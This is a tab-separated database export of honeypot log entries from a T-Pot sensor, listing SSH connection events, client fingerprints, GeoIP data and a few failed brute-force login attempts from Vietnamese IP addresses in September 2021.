23121	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:11.292464+03	2021-09-20 14:15:07.097472+03	{"_id": "9AbjAnwBvYTbRNuEcAeR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "20b7e85ff2d9", "@version": "1", "duration": 2.4813876152038574, "timestamp": "2021-09-20T11:07:11.292464Z", "@timestamp": "2021-09-20T11:07:11.292Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23122	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:11.587008+03	2021-09-20 14:15:07.098473+03	{"_id": "9QbjAnwBvYTbRNuEcAeR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a5e2e8aff59e", "@version": "1", "duration": 2.441406488418579, "timestamp": "2021-09-20T11:07:11.587008Z", "@timestamp": "2021-09-20T11:07:11.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23123	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:11.603239+03	2021-09-20 14:15:07.099472+03	{"_id": "9gbjAnwBvYTbRNuEcAeR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "01e882b3c60e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:11.603239Z", "@timestamp": "2021-09-20T11:07:11.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23124	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:11.882591+03	2021-09-20 14:15:07.100472+03	{"_id": "9wbjAnwBvYTbRNuEcAeR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "42ded88255ab", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:11.882591Z", "@timestamp": "2021-09-20T11:07:11.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23125	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:12.064365+03	2021-09-20 14:15:07.101472+03	{"_id": "-AbjAnwBvYTbRNuEcAeR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "b6e45bc001e5", "@version": "1", "duration": 3.2595880031585693, "timestamp": "2021-09-20T11:07:12.064365Z", "@timestamp": "2021-09-20T11:07:12.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23127	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:11.462653+03	2021-09-20 14:15:07.104472+03	{"_id": "DQbjAnwBvYTbRNuEcAia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38188, "timestamp": "2021-09-20T11:07:11.462653", "@timestamp": "2021-09-20T11:07:11.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23128	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:11.605462+03	2021-09-20 14:15:07.105472+03	{"_id": "DwbjAnwBvYTbRNuEcAia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33790, "timestamp": "2021-09-20T11:07:11.605462", "@timestamp": "2021-09-20T11:07:11.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23129	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:11.245161+03	2021-09-20 14:15:07.106473+03	{"_id": "EAbjAnwBvYTbRNuEcAia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d3cb8bf37f97", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:11.245161Z", "@timestamp": "2021-09-20T11:07:11.245Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23130	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:11.479596+03	2021-09-20 14:15:07.107471+03	{"_id": "EQbjAnwBvYTbRNuEcAia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3e99a7cbb34b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:11.479596Z", "@timestamp": "2021-09-20T11:07:11.479Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23131	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:11.758805+03	2021-09-20 14:15:07.108472+03	{"_id": "EgbjAnwBvYTbRNuEcAia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3e99a7cbb34b", "@version": "1", "timestamp": "2021-09-20T11:07:11.758805Z", "@timestamp": "2021-09-20T11:07:11.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23132	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:11.879453+03	2021-09-20 14:15:07.110471+03	{"_id": "EwbjAnwBvYTbRNuEcAia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "01e882b3c60e", "@version": "1", "timestamp": "2021-09-20T11:07:11.879453Z", "@timestamp": "2021-09-20T11:07:11.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23133	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:11.98277+03	2021-09-20 14:15:07.111473+03	{"_id": "FAbjAnwBvYTbRNuEcAia", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [kmc/kmc] failed", "session": "41c8f72263d6", "@version": "1", "password": "kmc", "username": "kmc", "timestamp": "2021-09-20T11:07:11.982770Z", "@timestamp": "2021-09-20T11:07:11.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23134	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:12.237007+03	2021-09-20 14:15:07.112473+03	{"_id": "FgbjAnwBvYTbRNuEcwgJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 931389081864978, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50352, "dest_port": 22, "timestamp": "2021-09-20T11:07:12.237007Z", "@timestamp": "2021-09-20T11:07:12.237Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23135	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:07.965128+03	2021-09-20 14:15:07.113472+03	{"_id": "KgbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:33582 (192.168.176.2:22) [session: ac1aa31e4b57]", "session": "ac1aa31e4b57", "@version": "1", "protocol": "ssh", "src_port": 33582, "dest_port": 22, "timestamp": "2021-09-20T11:07:07.965128Z", "@timestamp": "2021-09-20T11:07:07.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23136	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:07.510533+03	2021-09-20 14:15:07.115472+03	{"_id": "MQbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6cf2d482c0d0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:07.510533Z", "@timestamp": "2021-09-20T11:07:07.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23609	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.522007+03	2021-09-20 14:15:07.727501+03	{"_id": "hwbjAnwBvYTbRNuE2g00", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [john/password] failed", "session": "68b21819a812", "@version": "1", "password": "password", "username": "john", "timestamp": "2021-09-20T11:07:38.522007Z", "@timestamp": "2021-09-20T11:07:38.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
